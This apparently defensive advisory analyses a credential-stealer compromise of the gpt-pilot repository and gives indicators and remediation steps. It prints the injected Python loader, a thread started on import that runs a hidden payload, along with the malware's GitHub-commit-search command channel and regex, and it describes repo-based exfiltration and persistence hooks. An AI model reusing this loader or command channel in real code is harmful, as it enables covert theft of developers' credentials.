Pythagora-io/gpt-pilot Compromised on GitHub - Shai-Hulud Credential Stealer Blocked by Python Linter

What it is

The StepSecurity writeup of the June 8, 2026 compromise of Pythagora-io/gpt-pilot, with the concrete forensic artifacts and IOCs the summary omits. The malicious commit was titled "Revert 'Implemented weekend discount'", backdated to 2025-08-24 20:37:44 to look months old in casual history review. The compromised maintainer account was LeonOstrez (a co-founder). Files were injected into core/telemetry/.

How it works

Activation is via Python import side-effect, injected at line 399 of core/telemetry/__init__.py:

import threading as _th
def _setup_reporting():
    try:
        from core.telemetry._hooks import run
        run()
    except Exception:
        pass
_th.Thread(target=_setup_reporting, daemon=True).start()

_hooks.py then loads the cross-platform (Linux x64/ARM/musl, macOS x64/ARM, Windows x64/ARM) _runtime.bin — a 758KB single-line Bun/JS stealer using a .loader.lock file to avoid duplicate runs and piping output to /dev/null. C2 is steganographic: the malware searches the GitHub commits API for a marker and eval()s base64 commands from matching messages:

GET https://api.github.com/search/commits?q=thebeautifulsnadsoftime
thebeautifulsnadsoftime ([A-Za-z0-9+/=]{1,30})\.([A-Za-z0-9+/=]{1,700})

Exfil creates new GitHub repos (issues/wiki/discussions disabled) with commit author spoofed to claude@users.noreply.github.com; DNS-resolved AES-256-GCM HTTP is the fallback. It exits cleanly if the system locale includes ru.

What to do

• Grep for the C2 marker thebeautifulsnadsoftime in commit searches and logs — it is the strongest single IOC.
• Search for the injection: a threading _setup_reporting block near line 399 of any __init__.py, and files _hooks.py / _runtime.bin under core/telemetry/ or elsewhere.
• Check for persistence planted in .claude/settings.json (SessionStart hook) and .vscode/tasks.json (runOn: folderOpen).
• Confirm branch protection exists — the repo had none; a 404 from this API call means the main branch is force-pushable:

/repos/<org>/<repo>/branches/main/protection

• Rotate any AWS, npm, GitHub, Kubernetes, Vault, and SSH credentials exposed on machines that ran gpt-pilot; audit for unexpected new GitHub repos authored by claude@users.noreply.github.com.

Caveats

The attack on this repo was blocked by CI (ruff rejected the malformed injected Python across two attempts), so gpt-pilot's published code may not have shipped the payload — but the same Shai-Hulud family has successfully infected projects at Microsoft, Red Hat, and Mistral AI this year, where the above IOCs still apply. The ru-locale exemption means detonation is suppressed on some systems, so absence of malicious behavior does not prove absence of the files.